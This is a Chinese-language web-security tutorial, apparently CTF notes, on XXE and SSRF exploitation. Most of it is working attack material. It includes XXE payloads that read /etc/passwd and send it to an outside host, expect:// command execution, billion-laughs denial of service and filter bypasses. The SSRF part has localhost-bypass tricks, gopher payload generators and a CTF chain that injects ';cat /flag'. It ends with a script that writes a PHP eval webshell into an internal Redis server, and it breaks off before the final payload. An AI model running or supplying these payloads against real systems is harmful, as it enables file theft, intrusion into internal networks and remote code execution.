嵌套参数实体
我发现,虽然W3C协议是不允许在内部的实体声明中引用参数实体,但是很多XML解析器并没有很好的执行这个检查。几乎所有XML解析器能够发现如下这种两层嵌套式的
<?xml version="1.0"?><!DOCTYPEmessage[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://myip/?%file;'>">
%start;
%send;
]><message>10</message>
基于报错的三层嵌套参数实体XXE
<?xml version="1.0"?><!DOCTYPE message [<!ELEMENT message ANY><!ENTITY% para1 SYSTEM"file:///flag"><!ENTITY% para '
<!ENTITY % para2 "<!ENTITY &#x25; error SYSTEM 'file:///%para1;'>">
%para2;
'>%para;]><message>10</message>
内网探测
和读文件差不多,只不过把URI改成内网机器地址
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPEfoo[<!ELEMENTfooANY>
<!ENTITY rabbit SYSTEM "http://127.0.0.1/1.txt" >
]><user><firstname>&rabbit;</firstname><lastname>666</lastname></user>
RCE
XXE漏洞利用技巧:从XML到远程代码执行
这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:
<?xml version="1.0"?><!DOCTYPEGVI[<!ELEMENTfooANY>
<!ENTITY xxe SYSTEM "expect://id" >]><catalog><coreid="test101"><author>John, Doe</author><title>I love XML</title><category>Computers</category><price>9.99</price><date>2018-10-01</date><description>&yj;</description></core></catalog>
响应:
{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...
DOS
XXE萌新进阶全攻略
<?xml version="1.0"?><!DOCTYPElolz[<!ENTITYlol"lol"><!ENTITYlol2"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITYlol3"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITYlol4"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITYlol5"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITYlol6"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITYlol7"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITYlol8"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITYlol9"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>
此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。
如果 XML 解析器尝试使用
/dev/random
文件中的内容来替代实体,则下面的代码会使服务器(使用 UNIX 系统)崩溃。
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPEfoo[<!ELEMENTfooANY>
<!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&yj;</foo>
绕过
ENTITY``SYSTEM``file
等关键词被过滤
使用编码方式绕过:UTF-16BE
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
若http被过滤,可以用
data://协议绕过
<?xml version="1.0" ?><!DOCTYPEtest[
<!ENTITY % a " <!ENTITY % b SYSTEM 'http://47.47.47.47:8200/hack.dtd'> ">
%a;
%b;
]><test>&hhh;</test>
file://协议加文件上传
<?xml version="1.0" ?><!DOCTYPEtest[
<!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]><!--上传文件-->
<!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>
php://filter协议加文件上传
<?xml version="1.0" ?><!DOCTYPEtest[
<!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]><test>&hhh;</test><!--上传文件-->
<!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>
<?xml version="1.0" ?><!DOCTYPEtest[
<!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]><test>&hhh;</test><!--上传文件-->
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==
利用
svg
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPEnote[
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]><svgheight="100"width="1000"><textx="10"y="20">&file;</text></svg>
PS:从当前文件夹读取文件可以使用
/proc/self/cwd
excel
用excel创建一个空白的xlsx,然后解压
mkdir XXE &&cd XXE
unzip../XXE.xlsx
将
[Content_Types].xml
改成恶意xml,再压缩回去:
zip -r ../poc.xlsx *
CSRF // TODO
SSRF
基础
容易出现SSRF的地方有:
- 社交分享功能:获取超链接的标题等内容进行显示
- 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
- 在线翻译:给网址翻译对应网页的内容
- 图片加载/下载:例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片
- 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
- 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
- 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
- 数据库内置功能:数据库的比如mongodb的copyDatabase函数
- 邮件系统:比如接收邮件服务器地址
- 编码处理、属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
- 未公开的api实现以及其他扩展调用URL的功能:可以利用google语法加上这些关键字去寻找SSRF漏洞。一些的url中的关键字有:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
- 从远程服务器请求资源
应用
- 对外网、服务器所在内网、服务器本地进行端口扫描,获取一些服务的banner信息等。
- 攻击运行在内网或服务器本地的其他应用程序,如redis、mysql等。
- 对内网Web应用进行指纹识别,识别企业内部的资产信息。
- 攻击内外网的Web应用,主要是使用HTTP GET/POST请求就可以实现的攻击,如sql注入、文件上传等。
- 利用file协议读取服务器本地文件等。
- 进行跳板攻击等。
相关函数和类
- file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。
- readfile():输出一个文件的内容。
- fsockopen():打开一个网络连接或者一个Unix 套接字连接。
- curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。
- fopen():打开一个文件文件或者 URL。
- …
上述函数函数使用不当会造成SSRF漏洞。 此外,PHP原生类SoapClient在触发反序列化时可导致SSRF。
file_get_contents()
构造类似
ssrf.php?url=../../../../../etc/passwd
的paylaod即可读取服务器本地的任意文件。
// ssrf.php<?php$url=$_GET['url'];;echofile_get_contents($url);?>
readfile()
与file_get_contents()函数相似。
fsockopen()
构造
ssrf.php?url=www.baidu.com
即可成功触发ssrf并返回百度主页
// ssrf.php<?php$host=$_GET['url'];$fp=fsockopen($host,80,$errno,$errstr,30);if(!$fp){echo"$errstr ($errno)<br />\n";}else{$out="GET / HTTP/1.1\r\n";$out.="Host: $host\r\n";$out.="Connection: Close\r\n\r\n";fwrite($fp,$out);while(!feof($fp)){echofgets($fp,128);}fclose($fp);}?>
curl_exec()
curl_init(url)函数初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。
测试代码:
// ssrf.php
<?php
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init(); // 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
// $filename = './curled/'.rand().'.txt';
// file_put_contents($filename, $result);
echo $result;
}
?>
构造
ssrf.php?url=www.baidu.com
即可成功触发ssrf并返回百度主页:
SoapClient
SOAP是简单对象访问协议,简单对象访问协议(SOAP)是一种轻量的、简单的、基于 XML 的协议,它被设计成在 WEB 上交换结构化的和固化的信息。PHP 的 SoapClient 就是可以基于SOAP协议可专门用来访问 WEB 服务的 PHP 客户端。该类的构造函数如下:
publicSoapClient::SoapClient(mixed$wsdl[,array$options])// 第一个参数是用来指明是否是wsdl模式。第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而 uri 是SOAP服务的目标命名空间。
知道上述两个参数的含义后,就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null,然后第二个参数为一个包含location和uri的数组,location选项的值设置为target_url:
// ssrf.php<?php$a=newSoapClient(null,array('uri'=>'http://47.xxx.xxx.107:2333','location'=>'http://47.xxx.xxx.107:2333/aaa'));$b=serialize($a);echo$b;$c=unserialize($b);$c->a();// 随便调用对象中不存在的方法, 触发__call方法进行ssrf?>
47.xxx.xxx.72监听2333端口,访问ssrf.php,即可在47.xxx.xxx.72上得到访问的数据,如下图所示,ssrf触发成功:
由于它仅限于http/https协议,所以用处不是很大。但是如果这里的http头部还存在CRLF漏洞,那么我们就可以进行ssrf+CRLF,注入或修改一些http请求头,详情请看:《SoapClient+CRLF组合拳进行SSRF》
SSRF漏洞利用的相关协议
- file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
- dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
- gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
- http/s协议:探测内网主机存活
常见利用方式
SSRF的利用主要就是读取内网文件、探测内网主机存活、扫描内网端口、攻击内网其他应用等,而这些利用的手法无一不与这些协议息息相关。
以下几个演示所用的测试代码:
// ssrf.php
<?php
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init(); // 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
// $filename = './curled/'.rand().'.txt';
// file_put_contents($filename, $result);
echo $result;
}
?>
读取内网文件(file协议)
我们构造如下payload,即可将服务器上的本地文件及网站源码读取出来:
ssrf.php?url=file:///etc/passwd
ssrf.php?url=file:///var/www/html/flag.php
探测内网主机存活(http/s协议)
一般是先想办法得到目标主机的网络配置信息,如读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie等文件,从而获得目标主机的内网网段并进行爆破。
域网IP地址范围分三类,以下IP段为内网IP段:
- C类:192.168.0.0 - 192.168.255.255
- B类:172.16.0.0 - 172.31.255.255
- A类:10.0.0.0 - 10.255.255.255
测试环境如下:
假设WEB服务器Ubuntu上面存在上述所说的SSRF漏洞,我们构造如下payload,便可通过Ubuntu服务器发送请求去探测内网存活的主机:
ssrf.php?url=http://192.168.52.1
ssrf.php?url=http://192.168.52.6
ssrf.php?url=http://192.168.52.25
......
为了方便,我们可以借助burpsuite的Intruder模块进行爆破,如下所示:
将爆破的线程尽可能设的小一些。开始爆破后即可探测到目标内网中存在如下两个存活的主机(192.168.52.130和192.168.52.131):
扫描内网端口(http/s和dict协议)
同样是上面那个测试环境:
我们利用dict协议构造如下payload即可查看内网主机上开放的端口及端口上运行服务的版本信息等:
ssrf.php?url=dict://192.168.52.131:6379/info // redis
ssrf.php?url=dict://192.168.52.131:80/info // http
ssrf.php?url=dict://192.168.52.130:22/info // ssh
同样可以借助burpsuite来爆破内网主机上的服务。
相关绕过姿势
对于SSRF的限制大致有如下几种:
- 限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。
- 限制域名只能为http://www.xxx.com
- 限制不能访问内网的IP,以防止对内网进行攻击。
- 屏蔽返回的详细信息。
利用HTTP基本身份认证的方式绕过
如果目标代码限制访问的域名只能为 http://www.xxx.com,那么我们可以采用HTTP基本身份认证的方式绕过。即@:http://[email protected]
利用302跳转绕过内网IP
绕过对内网ip的限制我们可以利用302跳转的方法,有以下两种。
(1)网络上存在一个很神奇的服务,网址为 http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,举个例子:
当我们访问:http://127.0.0.1.xip.io/flag.php时,实际访问的是http://127.0.0.1/1.php。像这种网址还有http://nip.io,http://sslip.io。
如下示例(flag.php仅能从本地访问):
(2)短地址跳转绕过,这里也给出一个网址 https://4m.cn/:
直接使用生成的短连接 https://4m.cn/FjOdQ就会自动302跳转到 http://127.0.0.1/flag.php上,这样就可以绕过WAF了:
进制的转换绕过内网IP
可以使用一些不同的进制替代ip地址,从而绕过WAF,这里给出个从网上扒的php脚本可以一键转换:
<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:"; // 2130706433
echo $r;
echo "八进制:"; // 0177.0.0.1
echo decoct($r);
echo "十六进制:"; // 0x7f.0.0.1
echo dechex($r);
?>
其他各种指向127.0.0.1的地址
http://localhost/ # localhost就是代指127.0.0.1
http://0/ # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/ # 在liunx下可用,window测试了下不行
http://[::]:80/ # 在liunx下可用,window测试了下不行
http://127。0。0。1/ # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1
利用不存在的协议头绕过指定的协议头
file_get_contents()
函数的一个特性,即当PHP的
file_get_contents()
函数在遇到不认识的协议头时候会将这个协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。(include()函数也有类似的特性)
测试代码:
// ssrf.php
<?php
highlight_file(__FILE__);
if(!preg_match('/^https/is',$_GET['url'])){
die("no hack");
}
echo file_get_contents($_GET['url']);
?>
上面的代码限制了url只能是以https开头的路径,那么我们就可以如下:
httpsssss://
此时
file_get_contents()
函数遇到了不认识的伪协议头“httpsssss://”,就会将他当做文件夹,然后再配合目录穿越即可读取文件:
ssrf.php?url=httpsssss://../../../../../../etc/passwd
这个方法可以在SSRF的众多协议被禁止且只能使用它规定的某些协议的情况下来进行读取文件。
利用URL的解析问题
该思路来自Orange Tsai成员在2017 BlackHat 美国黑客大会上做的题为《A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages》的分享。主要是利用readfile和parse_url函数的解析差异以及curl和parse_url解析差异来进行绕过。
(1)利用readfile和parse_url函数的解析差异绕过指定的端口
测试代码:
// ssrf.php
<?php
$url = 'http://'. $_GET[url];
$parsed = parse_url($url);
if( $parsed[port] == 80 ){ // 这里限制了我们传过去的url只能是80端口的
readfile($url);
} else {
die('Hacker!');
}
用python在当前目录下起一个端口为11211的WEB服务:
上述代码限制了我们传过去的url只能是80端口的,但如果我们想去读取11211端口的文件的话,我们可以用以下方法绕过:
ssrf.php?url=127.0.0.1:11211:80/flag.txt
如上图所示成功读取了11211端口中的flag.txt文件,下面用BlackHat的图来说明原理:
从上图中可以看出readfile()函数获取的端口是最后冒号前面的一部分(11211),而parse_url()函数获取的则是最后冒号后面的的端口(80),利用这种差异的不同,从而绕过WAF。
这两个函数在解析host的时候也有差异,如下图:
readfile()函数获取的是@号后面一部分(evil.com),而parse_url()函数获取的则是@号前面的一部分(google.com),利用这种差异的不同,我们可以绕过题目中parse_url()函数对指定host的限制。
(2)利用curl和parse_url的解析差异绕指定的host
原理如下:
从上图中可以看到curl()函数解析的是第一个@后面的网址,而parse_url()函数解析的是第二个@后面的网址。利用这个原理我们可以绕过题目中parse_url()函数对指定host的限制。
测试代码:
<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;// 检查是否是内网ip
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
?>
上述代码中可以看到
check_inner_ip
函数通过
url_parse()
函数检测是否为内网IP,如果不是内网 IP ,则通过
curl()
请求 url 并返回结果,我们可以利用curl和parse_url解析的差异不同来绕过这里的限制,让
parse_url()
处理外部网站网址,最后
curl()
请求内网网址。paylaod如下:
ssrf.php?url=http://@127.0.0.1:[email protected]/flag.php
的 [2020 首届“祥云杯”网络安全大赛]doyouknowssrf这道题利用的就是这个思路。
常见攻击方式(Gopher协议)
Gopher协议在SSRF中的利用
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用TCP 70端口。但在WWW出现后,Gopher失去了昔日的辉煌。
现在的Gopher协议已经很少有人再使用它了,但是该协议在SSRF中却可以发挥巨大的作用,可以说是SSRF中的万金油。由于Gopher协议支持发出GET、POST请求,我们可以先截获GET请求包和POST请求包,再构造成符合Gopher协议请求的payload进行SSRF利用,甚至可以用它来攻击内网中的Redis、MySql、FastCGI等应用,这无疑大大扩展了我们的SSRF攻击面。
Gopher协议格式
URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流
# 注意不要忘记后面那个下划线"_",下划线"_"后面才开始接TCP数据流,如果不加这个"_",那么服务端收到的消息将不是完整的,该字符可随意写。
- gopher的默认端口是70
- 如果发起POST请求,回车换行需要使用
%0d%0a
来代替%0a
,如果多个参数,参数之间的&也需要进行URL编码
那么如何利用Gopher发送HTTP的请求呢?例如GET请求。我们直接发送一个原始的HTTP包不就行了吗。在gopher协议中发送HTTP的数据,需要以下三步:
- 抓取或构造HTTP数据包
- URL编码、将回车换行符
%0a
替换为%0d%0a
- 发送符合gopher协议格式的请求
利用Gopher协议发送HTTP GET请求
// echo.php<?php
echo"Hello ".$_GET["whoami"]."\n"?>
构造payload。一个典型的GET型的HTTP包类似如下:
GET /echo.php?whoami=Bunny HTTP/1.1
Host: 47.xxx.xxx.107
然后利用以下脚本进行一步生成符合Gopher协议格式的payload:
import urllib.parse
payload =\
"""GET /echo.php?whoami=Bunny HTTP/1.1
Host: 47.xxx.xxx.107
"""# 注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result ='gopher://47.xxx.xxx.107:80/'+'_'+new
print(result)# gopher://47.11.11.107:80/_GET%20/echo.php%3Fwhoami%3DBunny%20HTTP/1.1%0D%0AHost%3A%2047.11.11.107%0D%0A# 问号(?)需要转码为URL编码,也就是%3f;回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a;在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
然后执行:
curl gopher://47.xxx.xxx.107:80/_GET%20/echo.php%3Fwhoami%3DBunny%20HTTP/1.1%0D%0AHost%3A%2047.xxx.xxx.107%0D%0A
,返回得到
Hello Bunny
利用Gopher协议发送HTTP POST请求
// echo.php<?php
echo"Hello ".$_POST["whoami"]."\n"?>
接下来我们构造payload。一个典型的POST型的HTTP包类似如下:
POST /echo.php HTTP/1.1
Host: 47.xxx.xxx.107
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
whoami=Bunny
注意:上面那四个HTTP头是POST请求必须的,即POST、Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用。并且,特别要注意Content-Length应为字符串“whoami=Bunny”的长度。
最后用脚本我们将上面的POST数据包进行URL编码并改为gopher协议
import urllib.parse
payload =\
"""POST /echo.php HTTP/1.1
Host: 47.xxx.xxx.107
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
whoami=Bunny
"""
# 注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://47.xxx.xxx.107:80/'+'_'+new
print(result)
执行
curl gopher://47.xxx.xxx.107:80/_POST%20/echo.php%20HTTP/1.1%0D%0AHost%3A%2047.xxx.xxx.107%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2012%0D%0A%0D%0Awhoami%3DBunny%0D%0A
成功用POST方法传参并输出“Hello Bunny”。
[2020 科来杯初赛]Web1这道题就是典型的运用Gopher发送HTTP POST请求进行SSRF攻击的思路。
[2020 科来杯初赛]Web1
进入题目后即给处源码:
这里很明显就是一个SSRF,url过滤了
file
、
ftp
,但是必须要包含
127.0.0.1
。并且,我们还发现一个tool.php页面,但是该页面进去之后仅显示一个“Not localhost”,我们可以用这个ssrf将tool.php的源码读住来,构造反序列化payload:
<?php
class Welcome {
protected $url = "http://127.0.0.1/tool.php";
}
$poc = new Welcome;
//echo serialize($poc);
echo urlencode(serialize($poc));
?>
生成:
O%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Ftool.php%22%3B%7D
// O:7:"Welcome":1:{s:6:"*url";s:25:"http://127.0.0.1/tool.php";}
将Welcome后面表示对象属性个数的“1”改为“2”即可绕过
__destruct()
的限制。
读出来tool.php的源码为:
#tool.php
<?php
error_reporting(0);
$respect_show_ping = function($params) {
extract($params);
$ip = isset($ip) ? $ip :'127.0.0.1';
system('ping -c 1 '.$ip);
};
if ($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
echo '<h2>Not localhost!</h2>';
}
else {
highlight_file(__FILE__);
$respect_show_ping($_POST);
}
?>
可知tool.php页面存在命令执行漏洞。当REMOTE_ADDR为127.0.0.1时才可执行命令。REMOTE_ADDR头获取的是客户端的真实的IP,但是这个客户端是相对服务器而言的,也就是实际上与服务器相连的机器的IP(建立tcp连接的那个),这个值是不可以伪造的,如果没有代理的话,这个值就是用户实际的IP值,有代理的话,用户的请求会经过代理再到服务器,这个时候REMOTE_ADDR会被设置为代理机器的IP值。而X-Forwarded-For的值是可以篡改的。
既然这里要求当REMOTE_ADDR为127.0.0.1时才可执行命令,且REMOTE_ADDR的值是不可以伪造的,我们要想让REMOTE_ADDR的值为127.0.0.1,不可能通过修改X-Forwarded-For的值来实现,我们要利用SSRF。
我们可以利用index.php页面的SSRF利用gopher协议发POST包请求tool.php,进行命令执行。这样,整个攻击过程是在服务端进行的REMOTE_ADDR的值也就是127.0.0.1了。
SSRF,利用gopher发POST包,进行命令执行
import urllib.parse
test =\
"""POST /tool.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
ip=;cat /flag
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
print(result)
这里因为我们是把payload发送到服务端让服务端执行,所以我们的Host和gopher里的Host为127.0.0.1。
生成gopher协议格式的payload为:
gopher://127.0.0.1:80/_POST%20/tool.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2013%0D%0A%0D%0Aip%3D%3Bcat%20/flag%0D%0A
然后构造反序列化exp:
<?php
class Welcome {
protected $url = "gopher://127.0.0.1:80/_POST%20/tool.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2013%0D%0A%0D%0Aip%3D%3Bcat%20/flag%0D%0A";
}
$poc = new Welcome;
//echo serialize($poc);
echo urlencode(serialize($poc));
?>
生成payload:
O%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A197%3A%22gopher%3A%2F%2F127.0.0.1%3A80%2F_POST%2520%2Ftool.php%2520HTTP%2F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%2Fx-www-form-urlencoded%250D%250AContent-Length%253A%252013%250D%250A%250D%250Aip%253D%253Bcat%2520%2Fflag%250D%250A%22%3B%7D
同样将Welcome后面表示对象属性个数的“1”改为“2”绕过
__destruct()
的限制后执行:
如上图,命令执行成功。
注意:这里要注意的是,我们发送的是POST包,而如果发送的是GET包的话,当这个URL经过服务器时,payload部分会被自动url解码,%20等字符又会被转码为空格。所以,curl_exec在发起gopher时用的就是没有进行URL编码的值,就导致了现在的情况,所以我们要对payload进行二次URL编码。编码结果类似如下:
gopher%3a%2f%2f127.0.0.1%3a80%2f_POST%2520%2ftool.php%2520HTTP%2f1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%2fx-www-form-urlencoded%250D%250AContent-Length%253A%252013%250D%250A%250D%250Aip%253D%253Bcat%2520%2fflag%250D%250A
攻击内网Redis
什么是Redis未授权访问?
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
简单说,漏洞的产生条件有以下两点:
- redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
- 没有设置密码认证(一般为空),可以免密码远程登录redis服务。
在SSRF漏洞中,如果通过端口扫描等方法发现目标主机上开放6379端口,则目标主机上很有可能存在Redis服务。此时,如果目标主机上的Redis由于没有设置密码认证、没有进行添加防火墙等原因存在未授权访问漏洞的话,那我们就可以利用Gopher协议远程操纵目标主机上的Redis,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等,其思路都是一样的,就是先将Redis的本地数据库存放目录设置为web目录、~/.ssh目录或/var/spool/cron目录等,然后将dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行save或bgsave保存,则我们就指定的目录里写入指定的文件了。
下面我们对攻击Redis的手法进行演示。测试环境如下,内网中其他主机均有外网IP并可以上网:
在上文扫描内网端口的实验中,我们发现了内网中有一个IP为192.168.52.131的主机在6379端口上运行着一个Redis服务,下面我们就用它来演示,通过Ubuntu服务器上的SSRF漏洞去攻击内网主机(192.168.52.131)的Redis。
绝对路径写WebShell
首先构造redis命令:
flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
然后写一个脚本,将其转化为Gopher协议的格式(脚本时从网上嫖的,谁让我菜呢~~~大佬勿喷):
import urllib
protocol="gopher://"
ip="192.168.52.131"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
执行后生成paylaod如下:
这里将生成的payload要进行url二次编码(因为我们发送payload用的是GET方法),然后利用Ubuntu服务器上的SSRF漏洞,将二次编码后的payload打过去就行了:
